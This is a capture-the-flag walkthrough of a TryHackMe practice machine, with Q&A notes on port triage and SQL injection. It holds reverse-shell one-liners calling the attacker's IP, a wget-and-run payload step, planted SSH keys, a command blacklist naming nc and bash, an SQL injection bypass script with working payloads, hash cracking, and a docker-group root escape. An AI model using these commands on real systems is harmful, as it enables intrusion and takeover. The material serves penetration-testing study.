# Tryhackme - Chillhack II - Second Wind

## **1. Speedrun the easy part**

I will skip almost all of the Enumeration and go straight to main part as well as the new way to get the shell without tripping the alarm.

In this write up I use material from 2 writeups:

1. Nobodyatall: `https://www.youtube.com/watch?v=tlcDw5y-_aQ`
2. Musyoka Ian: `https://musyokaian.medium.com/chill-hack-walkthrough-tryhackme-498aa9ad1388`

So if you use:

```shell
ls
cat
```

You will be filtered, go with:

```shell
dir -la
tac index.php
```

Now you can press view source and we're now got out filter:

```php
$blacklist = array('nc','python','bash','php','perl','rm','cat','head','tail','python3','more','less','sh','ls');
```

We can now use this simple payload:

```shell
#!/bin/bash
bash -i >& /dev/tcp/10.11.135.134/6666 0>&1
```

On the site, use:

```shell
wget http://10.111.135.134:80/chillhack.sh -O /tmp/x
chmod +x /tmp/x
/tmp/x
```

For some reasons the above shell doesn't work so I use this instead:

```shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.111.135.134 6666 >/tmp/f
```

```shell
wget http://10.111.135.134:80/chillhack.sh -O /tmp/x2
chmod +x /tmp/x2
/tmp/x2
```

After that:

```shell
sudo -u apaar /home/apaar/.helpline.sh
[insert whatever]
/bin/bash
```

On our machine:

```shell
ssh-keygen -t rsa
```

Then echo the key on the victim account

```shell
echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCVCLFypXMshUlVLz94oEb9FvJ+r6+IMe9tjf6zC/reoYgd4s9FmIVhtHimr0yIFH8dbURh6n15PbxSbpyGWxCQlS44dJmRcTXasJwl7OCdZxXtloINnmFOEaiXWJXnO4NVcDnIPECr3S9O5TaTDCnOBk0uc2hGsbHPcs/JBeVUGIXJhPh+EH0NFR1uN76fp6hkFt3vOU0N2UCnOiavYjCyJlSTFHdRJTBHfHCeiDEpNESzI3ohvaOZqf4/LXZpCtTFtrTAkeqRxLgcoxmmJlCuD/wkq0rXyFCwsJrczLRBGjGIcmHUysn+/vBJs92HVAD2o0DodWsAeMb5gXEhzcgoOuNe1MMGtBz16dOXag8bQ8aVOM8el1xKNo1aB53oKWOW4+YQTNnVGOEuDEg33+TD+dFy8iaiuqsfvI1g3uzh9FS05NXQGWhTaZoV0r+cYiqT0ZBxEP7tk2lQaHCuV7pV+y2ApgDL4dkFR9tnhthl2d+bjTd3fUrijkT6khRzuK8= kali@kali >> /home/apaar/.ssh/authorized_keys
```

```shell
┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa_apaar apaar@10.10.126.168 
apaar@10.10.126.168's password: 

┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa_apaar apaar@10.10.126.168
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Thu 12 Jun 2025 07:37:15 PM UTC

  System load:  0.0                Processes:             172
  Usage of /:   35.7% of 18.53GB   Users logged in:       0
  Memory usage: 55%                IPv4 address for eth0: 10.10.126.168
  Swap usage:   0%


Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Your Hardware Enablement Stack (HWE) is supported until April 2025.

Last login: Sun Oct  4 14:05:57 2020 from 192.168.184.129
apaar@ip-10-10-126-168:~$
```

## **2. Now the hard part**

Now that's where the good about `NoBodyAtAll`'s writeup ended. Unfortunately, the later part of his video, a lot of it were assumption instead of black box pentesting, so I will now reference Musyoka's writeup here.

I uploaded and run a linpeas.sh report for in this case:

```shell
apaar@ip-10-10-13-7:~$ wget http://10.11.135.134:80/linpeas.sh -O /tmp/x3
--2025-06-13 15:59:24--  http://10.11.135.134/linpeas.sh
Connecting to 10.11.135.134:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 839046 (819K) [text/x-sh]
Saving to: ‘/tmp/x3’

/tmp/x3                                                    100%[=======================================================================================================================================>] 819.38K   402KB/s    in 2.0s    

2025-06-13 15:59:27 (402 KB/s) - ‘/tmp/x3’ saved [839046/839046]

apaar@ip-10-10-13-7:~$ chmod +x /tmp/x3
apaar@ip-10-10-13-7:~$ /tmp/x3
```

```shell
╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports                                                                                                                                               
tcp   LISTEN 0       151            127.0.0.1:3306         0.0.0.0:*                                                                                                                                                                       
tcp   LISTEN 0       70             127.0.0.1:33060        0.0.0.0:*            
tcp   LISTEN 0       128              0.0.0.0:22           0.0.0.0:*            
tcp   LISTEN 0       511            127.0.0.1:9001         0.0.0.0:*            
tcp   LISTEN 0       4096       127.0.0.53%lo:53           0.0.0.0:*            
tcp   LISTEN 0       511                    *:80                 *:*            
tcp   LISTEN 0       32                     *:21                 *:*            
tcp   LISTEN 0       128                 [::]:22              [::]:*   
```

The port worth noticing here are `9001`. Why, well, you have to check the Q\&A `[1]`,`[2]`,`[3]`,`[4]`.

Now we `pivot`:

```shell
┌──(kali㉿kali)-[~]
└─$ ssh -L 9001:127.0.0.1:9001 -i id_rsa_apaar apaar@10.10.13.7
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri 13 Jun 2025 04:16:39 PM UTC

  System load:  0.0                Processes:             134
  Usage of /:   34.6% of 18.53GB   Users logged in:       1
  Memory usage: 50%                IPv4 address for eth0: 10.10.13.7
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2025.

Last login: Fri Jun 13 15:57:23 2025 from 10.11.135.134
apaar@ip-10-10-13-7:~$ 
```

Voila\~

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2FrAOcWROMBi8jGWg8GAEr%2FPasted%20image%2020250614000117.png?alt=media&#x26;token=6980d63b-9503-4da0-af2c-b6ca25c3426c" alt=""><figcaption></figcaption></figure>

But `Musyokaian` mentioned about `chisel` so I look into it, turns out there are much more to it than I know about. Let's begin:

#### When to use SSH vs. Chisel

| Condition                                         | Use SSH Port-Forward                  | Use Chisel Reverse Tunnel           |
| ------------------------------------------------- | ------------------------------------- | ----------------------------------- |
| You have SSH access (port 22 open)                | ✅ almost always simpler               | ❌ overkill                          |
| SSH is firewalled/disabled but outbound TCP works | ❌ no SSH connection                   | ✅ Chisel “pivots” over any TCP port |
| You need a SOCKS proxy for many ports             | 🔸 can do `ssh -D` SOCKS, but limited | 🔸 Chisel only does static forwards |
| You want minimal setup and built-in tools         | ✅ SSH (`ssh -L`)                      | ❌ extra binary to upload/use        |
| On Kali:                                          |                                       |                                     |

```shell
chisel server --port 9003 --reverse
```

* `--port 9003` → listen for Chisel clients on 9003
* `--reverse` → allow clients to request reverse forwards

Keep this running.

On the victim's machine:

```shell
wget http://10.11.135.134:80/chisel_1.7.7_linux_amd64 -O /tmp/chisel
chmod +x /tmp/chisel
/tmp/chisel client 10.11.135.134:9003 R:9002:127.0.0.1:9001
```

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2FGQ0RihvZ69ZotBc9fg1A%2FPasted%20image%2020250614000830.png?alt=media&#x26;token=f0271636-0661-4132-af41-d3695145ea9f" alt=""><figcaption><p>Bam!</p></figcaption></figure>

Why am I doing this, simple, I want OSCP, and I'm not a genius, I will take every chance to practice.

Enough of tunneling.

```shell
apaar@ip-10-10-13-7:~$ ls -la /var/www/files
total 28
drwxr-xr-x 3 root root 4096 Oct  3  2020 .
drwxr-xr-x 4 root root 4096 Oct  3  2020 ..
-rw-r--r-- 1 root root  391 Oct  3  2020 account.php
-rw-r--r-- 1 root root  453 Oct  3  2020 hacker.php
drwxr-xr-x 2 root root 4096 Oct  3  2020 images
-rw-r--r-- 1 root root 1153 Oct  3  2020 index.php
-rw-r--r-- 1 root root  545 Oct  3  2020 style.css
apaar@ip-10-10-13-7:~$ ls -la /var/www/
total 16
drwxr-xr-x  4 root root 4096 Oct  3  2020 .
drwxr-xr-x 14 root root 4096 Oct  3  2020 ..
drwxr-xr-x  3 root root 4096 Oct  3  2020 files
drwxr-xr-x  8 root root 4096 Oct  3  2020 html
apaar@ip-10-10-13-7:~$ ls -a /var/www/
.  ..  files  html
apaar@ip-10-10-13-7:~$ ls -a /var/www/files
.  ..  account.php  hacker.php  images  index.php  style.css
apaar@ip-10-10-13-7:~$ 
```

By enumerating the `/var/www/files` and `/var/www/` directory, I can see that there're a suspicious `account.php`, let's check it out:

```shell
<?php
  
class Account
{
        public function __construct($con)
        {
                $this->con = $con;
        }
        public function login($un,$pw)
        {
                $pw = hash("md5",$pw);
                $query = $this->con->prepare("SELECT * FROM users WHERE username='$un' AND password='$pw'");
                $query->execute();
                if($query->rowCount() >= 1)
                {
                        return true;
                }?>
                <h1 style="color:red";>Invalid username or password</h1>
        <?php }
}
?>
~      
```

A secure `php` for login should consist of 2 things: `bindParam()` and `prepare()` other wise it's just an invitation for SQLi. In this situation, this definitely is vulnerable to SQLi. `[4]`

Now, I could just straight up go for `sqlmap` but, OffSec doesn't allow the usage of `sqlmap`, well, I will use the code that Musyokaian used then:

```python
#!/usr/bin/env python3
import requests

# read the Auth_Bypass word-list
with open("Auth Bypass.txt", "r") as file:
    payloads = [x.strip() for x in file.readlines()]

for payload in payloads:
    sess = requests.session()

    data = {
        "username": payload,
        "password": "admin",     # password can be anything
        "submit"  : "Submit"
    }

    validate = sess.post("http://127.0.0.1:9001/index.php", data=data)

    # crude success check
    if "Invalid username or password" in validate.text:
        pass
    else:
        print("[+]  Success!!")
        print(f"[+]  {payload}\n")
```

```shell
┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$ python3 exploit-simple-SQLi-payload.python
[+]  Success!!
[+]  admin' or '1'='1'#

[+]  Success!!
[+]  admin'or 1=1 or ''='

[+]  Success!!
[+]  admin' or 1=1#

[+]  Success!!
[+]  1' or 1.e(1) or '1'='1

┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$ 
```

Nifty!

Looking at the `hackers.php` file we get a hint and a picture the first thought that came in mind was stenography. So I download the image and `steghide info` it

```shell
steghide info steno.jpeg
```

```shell
┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$ steghide info steno.jpeg
"steno.jpeg":
  format: jpeg
  capacity: 3.6 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase: 
  embedded file "backup.zip":
    size: 750.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes
                                                                                
┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$ 
```

I then extract it.

```shell
steghide extract -sf steno.jpeg
```

```shell
┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$ steghide extract -sf steno.jpeg
Enter passphrase: 
wrote extracted data to "backup.zip".
```

The file `backup.zip` was password protected so I have to use `zip2john`:

```shell
┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$ unzip backup.zip

Archive:  backup.zip
[backup.zip] source_code.php password: 
   skipping: source_code.php         incorrect password
                                                                                
┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$ zip2john backup.zip > hashzip.txt
ver 2.0 efh 5455 efh 7875 backup.zip/source_code.php PKZIP Encr: TS_chk, cmplen=554, decmplen=1211, crc=69DC82F3 ts=2297 cs=2297 type=8
                                                                                
┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$ john hashzip.txt --wordlist=/usr/share/wordlists/rockyou.txt       
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pass1word        (backup.zip/source_code.php)     
1g 0:00:00:00 DONE (2025-06-14 00:43) 100.0g/s 1638Kp/s 1638Kc/s 1638KC/s total90..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
                                                                                
┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$ 
```

Command I used:

```shell
zip2john backup.zip > hashzip.txt
john hashzip.txt --wordlist=/usr/share/wordlists/rockyou.txt   
```

Now extract the `backup.zip` I got `backup.php` looking into it I got:

```shell
<html>
<head>
	Admin Portal
</head>
        <title> Site Under Development ... </title>
        <body>
                <form method="POST">
                        Username: <input type="text" name="name" placeholder="username"><br><br>
			Email: <input type="email" name="email" placeholder="email"><br><br>
			Password: <input type="password" name="password" placeholder="password">
                        <input type="submit" name="submit" value="Submit"> 
		</form>
<?php
        if(isset($_POST['submit']))
	{
		$email = $_POST["email"];
		$password = $_POST["password"];
		if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
		{ 
			$random = rand(1000,9999);?><br><br><br>
			<form method="POST">
				Enter the OTP: <input type="number" name="otp">
				<input type="submit" name="submitOtp" value="Submit">
			</form>
		<?php	mail($email,"OTP for authentication",$random);
			if(isset($_POST["submitOtp"]))
				{
					$otp = $_POST["otp"];
					if($otp == $random)
					{
						echo "Welcome Anurodh!";
						header("Location: authenticated.php");
					}
					else
					{
						echo "Invalid OTP";
					}
				}
 		}
		else
		{
			echo "Invalid Username or Password";
		}
        }
?>
</html>
```

```shell
┌──(kali㉿kali)-[/home/Tryhackme/CTF/Chillhack]
└─$ echo IWQwbnRLbjB3bVlwQHNzdzByZA== | base64 -d  
!d0ntKn0wmYp@ssw0rd   
```

Decoding the password, I got: `!d0ntKn0wmYp@ssw0rd`

Now, try it out with each user we have `anurodh` in `docker` group:

```shell
apaar@ip-10-10-13-7:~$ ls /home
anurodh  apaar  aurick  ubuntu
apaar@ip-10-10-13-7:~$ su anurodh
Password: 
anurodh@ip-10-10-13-7:/home/apaar$ id
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)
anurodh@ip-10-10-13-7:/home/apaar$ 
```

From `GTFObins` I know that a user can privesc to root if they are in the docker group, so I did just that:

```shell
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
```

```shell
anurodh@ip-10-10-13-7:/home/apaar$ docker run -v /:/mnt --rm -it alpine chroot /mnt bash
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@c163bfe1b61d:/# ls /root
proof.txt  snap
root@c163bfe1b61d:/# cat /root/proof.txt
```

This is the hardest, most complicated room up to the time I write this writeup - on par with `El Bandito 2`, which owned me a rematch.

***

## Q\&A:

## `[1]`

```shell
╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports                                                                                                                                               
tcp   LISTEN 0       151            127.0.0.1:3306         0.0.0.0:*                                                                                                                                                                       
tcp   LISTEN 0       70             127.0.0.1:33060        0.0.0.0:*            
tcp   LISTEN 0       128              0.0.0.0:22           0.0.0.0:*            
tcp   LISTEN 0       511            127.0.0.1:9001         0.0.0.0:*            
tcp   LISTEN 0       4096       127.0.0.53%lo:53           0.0.0.0:*            
tcp   LISTEN 0       511                    *:80                 *:*            
tcp   LISTEN 0       32                     *:21                 *:*            
tcp   LISTEN 0       128                 [::]:22              [::]:*   
```

## Base on this Linpeas.sh report, how do I know that 9001 deserved to be look into ?

## You spot port **9001** as “interesting” for three quick reasons:

1. **It’s only bound to localhost**\
   In LinPEAS you see:

   ```
   127.0.0.1:9001   LISTEN
   ```

   Ports like 22 (SSH) or 80 (HTTP) are expected on `0.0.0.0`, but anything listening on `127.0.0.1` is a service the box intends only for **local** use—often an internal API or admin interface you’re not supposed to see from the outside.
2. **It’s non-standard**\
   Common services have standard ports (MySQL on 3306, FTP on 21, DNS on 53, SSH on 22). Seeing **9001**—a high, arbitrary number—indicates a custom application, not a default system service. Custom apps are prime targets for logic flaws or authentication bypasses.
3. **It hints at a pivot point**\
   Because it’s local‐only, you can’t reach it directly over the network. That tells you immediately:
   * You need to **tunnel** or **pivot** (e.g. with an SSH `-L 9001:127.0.0.1:9001` forward, or a SOCKS proxy)
   * Once tunneled, you can connect your browser or tool to `localhost:9001` as if you were on the target host

In short, any **localhost-only, non-standard** port is a red flag for post-exploitation enumeration. It almost always “deserves a look” because it’s both unusual and inaccessible without a pivot—which is precisely the challenge ChillHack wanted you to spot.

## `[2]` Why not 53, 3306 and 33060?

## Those other ports are definitely worth noting —but they’re “common, known-quantity” services, whereas 9001 screams “custom app” and “pivot here.” Concretely:

1. **Port 53 (127.0.0.53:53)**
   * That’s your local DNS stub resolver (systemd-resolved).
   * It’s meant only for name lookups and won’t give you a web UI or shell.
   * It’s tightly locked down—no obvious way to turn a DNS lookup service into code execution without a CVE you haven’t found.
2. **Port 3306 (127.0.0.1:3306)** and **33060 (127.0.0.1:33060)**
   * Those belong to MySQL / MariaDB (the classic SQL port and the X-Protocol port).
   * They require valid database credentials—LinPEAS didn’t show any leaked creds for the DB user.
   * You *could* try brute-forcing or guessing a user/pass, but that’s time-consuming and noisy.
   * In a CTF or real engagement, custom apps (like the Customer Portal on 9001) are often far lower hanging fruit than cracking a MySQL instance.

***

#### In short

* **Standard services** → MySQL, DNS, SSH: you need valid creds or a known exploit, and they’re not custom to the challenge.
* **Custom, localhost-only port (9001)** → Almost by definition it’s an application the dev wrote *for this box*. It’s where the “fun” (SQLi, stego, backup.zip) lives.

That’s why you chase **9001** first—because it’s the obvious back-door to the challenge payloads, without needing extra creds or complex exploits.

## `[3]` Thank you, what about chisel, docker, ... and other ports?

## Below is an extension to that table showing how to treat ports and services you commonly run into during post-exploitation, including pivot tools like Chisel, container engines like Docker, and other “sticky” targets:

| Port/Service                | Action          | Why / Notes                                                                                                                                                                    |
| --------------------------- | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Docker socket**           | 🔍 Enumerate    | Not a TCP port but a Unix socket (`/var/run/docker.sock`). If your user is in `docker` group, you can mount the host FS or escape to root.                                     |
| **Chisel / Frp / Meshcat**  | 🔍 Pivot        | Often set up on **high TCP ports** (e.g. 8000–9000, 4444) to tunnel traffic. If you see a unknown listener in that range, try `chisel client` or your equivalent back-connect. |
| **SOCKS proxy (SSH -D)**    | 🔍 Pivot        | SSH’s dynamic port (`-D 1080`) gives you a SOCKS proxy. Test `curl --socks5-hostname localhost:1080 http://internal`                                                           |
| **RDP (3389)**              | ⚠️ Windows?     | On a Linux box you’ll rarely see it—but when you do (Wine, xrdp), brute or user-pass it for a GUI shell.                                                                       |
| **SMB (445, 139)**          | ⚠️ File shares  | Test `smbclient -L //target` for shares you can mount—sometimes `C$`.                                                                                                          |
| **RPC (111)**               | ⚠️ Old NFS      | Can lead to NFS mounts if misconfigured; not common in CTF but worth noting on Linux.                                                                                          |
| **Jupyter Notebook (8888)** | 🔍 Data & code  | Custom Python REPLs exposed on 127.0.0.1—great pivot once tunneled.                                                                                                            |
| **ElasticSearch (9200)**    | 🔍 REST API     | Often unprotected; you can dump indices, or even write scripts to RCE via script plugins.                                                                                      |
| **Kafka (9092)**            | ⚠️ Messaging    | Rare in simple CTFs—needs creds or listener exploit.                                                                                                                           |
| **Redis (6379)**            | ⚠️ In-memory DB | If no `requirepass`, you can write `.rdb` or use `CONFIG SET` for code execution.                                                                                              |
| **Memcached (11211)**       | ⚠️ Cache        | Can be abused for memcache injection or pwn scripts if unauthenticated.                                                                                                        |
| **VNC (5900+)**             | ⚠️ GUI          | Try connecting with no password; sometimes a “view only” server is misconfigured.                                                                                              |

***

#### How to spot these in LinPEAS / nmap

1. **High port numbers (>=1024)** often mean custom tools—try connecting with `nc` or your browser.
2. **Service names in `netstat -tulpn`** (e.g. `chisel`, `node`, `java`, `python`) hint at pivot/listener programs.
3. **Docker group membership** + presence of `/var/run/docker.sock` → immediately plan a container escape.
4. If you see **`LISTEN`** on a socket path under `/var/run/`, note it—not just TCP ports.

***

#### Quick tips for pivot tools

* **Chisel** defaults:
  * Server listens on `:8000` by default; clients connect with `chisel client host:8000 R:9001:127.0.0.1:9001`.
* **Frp (Fast Reverse Proxy)** often uses `7000`, `7500` for control and **high** ports for tunnels.
* **Meshcat / ngrok /etc.** use random high ports when self-hosted. If you spot a process named `ngrok` in `ps`, look for its port.

Whenever you hit an **unfamiliar high-port listener**, think:

> “Is this a custom app or a pivot tool?”

— and **probe it** as you would any web service (HTTP GET, `nc`, or use the specific client).

## `[4]` Musyokaian said that `account.php` is vulnerable to SQLi, how can I spot a vulnerable SQLi source code?

## **No placeholders, no binding = no protection**

A safe version would look like:

```php
$query = $this->con->prepare(
  "SELECT * FROM users 
   WHERE username = :user 
     AND password = :pass"
);
$query->bindParam(':user', $un);
$query->bindParam(':pass', $pw);
$query->execute();
```

Any time you see raw PHP variables being glued straight into a SQL string, you’ve got SQL-injection territory. In your screenshot the telltale bit is:

```php
// BAD: user input injected directly into the query string 
$query = $this->con->prepare(
	"SELECT * FROM users
	WHERE username='$un'
	AND password='$pw'" );
```

## `[EXTRA]` What about other programming language? I vaguely remember python and other programming languages have the same errors. Can you make me a list of comparison for each popular programming languages?

Here’s how SQL‐injection looks and is prevented across several popular languages/drivers. Each snippet shows the “❌ vulnerable” way (string‐concatenation) and the “✅ safe” way (parameterized queries or ORM‐style bindings).

**PHP (PDO)**\
❌ Vulnerable

```php
$sql = "SELECT * FROM users WHERE u='$user' AND p='$pass'";
$pdo->query($sql);
```

✅ Safe (Parameterized)

```php
// 1) Prepare with placeholders  
$stmt = $pdo->prepare("SELECT * FROM users WHERE u=:u AND p=:p");
// 2) Bind or pass values  
$stmt->execute([':u'=>$user, ':p'=>$pass]);
```

**Python (psycopg2 / PostgreSQL)**\
❌ Vulnerable

```python
# raw string interpolation – vulnerable!
cur.execute("SELECT * FROM users WHERE u='%s' AND p='%s'" % (user, pwd))
```

✅ Safe (Parameterized)

```python
# parameterized execute
cur.execute(
  "SELECT * FROM users WHERE u=%s AND p=%s",
  (user, pwd)
)
```

**Python (sqlite3)**\
❌ Vulnerable

```python
# vulnerable
db.execute("INSERT INTO logs(msg) VALUES ('%s')" % msg)
```

✅ Safe (Parameterized)

```python
# safe
db.execute("INSERT INTO logs(msg) VALUES (?)", (msg,))
```

**Java (JDBC)**\
❌ Vulnerable

```java
// vulnerable
String sql = "SELECT * FROM users WHERE u='" + u + "' AND p='" + p + "'";
Statement stmt = conn.createStatement();
stmt.executeQuery(sql);
```

✅ Safe (Parameterized)

```java
// safe
PreparedStatement ps = conn.prepareStatement(
  "SELECT * FROM users WHERE u=? AND p=?"
);
ps.setString(1, u);
ps.setString(2, p);
ResultSet rs = ps.executeQuery();
```

**C# (.NET)**\
❌ Vulnerable

```csharp
// vulnerable
var sql = $"SELECT * FROM users WHERE u='{user}' AND p='{pass}'";
var cmd = new SqlCommand(sql, conn);
```

✅ Safe (Parameterized)

```csharp
// safe
var cmd = new SqlCommand(
  "SELECT * FROM users WHERE u=@u AND p=@p",
  conn
);
cmd.Parameters.AddWithValue("@u", user);
cmd.Parameters.AddWithValue("@p", pass);
```

**Node.js (mysql)**\
❌ Vulnerable

```js
// vulnerable
const sql = `SELECT * FROM users WHERE u='${user}' AND p='${pass}'`;
connection.query(sql, callback);
```

✅ Safe (Parameterized)

```js
// safe
connection.query(
  "SELECT * FROM users WHERE u=? AND p=?",
  [user, pass],
  callback
);
```

**Ruby (ActiveRecord)**\
❌ Vulnerable

```ruby
# vulnerable
User.where("u = '#{user}' AND p = '#{pass}'")
```

✅ Safe (Parameterized)

```ruby
# safe
User.where(u: user, p: pass)
```

*or*

✅ Safe (Parameterized)

```ruby
User.where("u = ? AND p = ?", user, pass)
```

**Go (database/sql)**\
❌ Vulnerable

```go
// vulnerable
query := fmt.Sprintf("SELECT * FROM users WHERE u='%s' AND p='%s'", u, p)
db.Query(query)
```

✅ Safe (Parameterized)

```go
// safe
rows, err := db.Query(
  "SELECT * FROM users WHERE u=? AND p=?",
  u, p,
)
```

*(or use `$1,$2` for Postgres drivers)*

***

#### Key Takeaways

* **If you see `"…'"+var+"'…"` or back‐tick/template interpolation directly in SQL**, assume injection risk.
* **Always** use the driver’s **placeholder syntax** (`?`, `%s`, `:name`, `@param`, `$1`, etc.) plus a bind/execute API.
* Many ORMs offer a higher-level abstraction (`where(u: user)`), but under the hood they still generate safe parameterized SQL—avoid any method that takes a raw string with concatenation.

By training yourself to spot string concatenations inside SQL calls, you’ll catch injection flaws no matter the language.
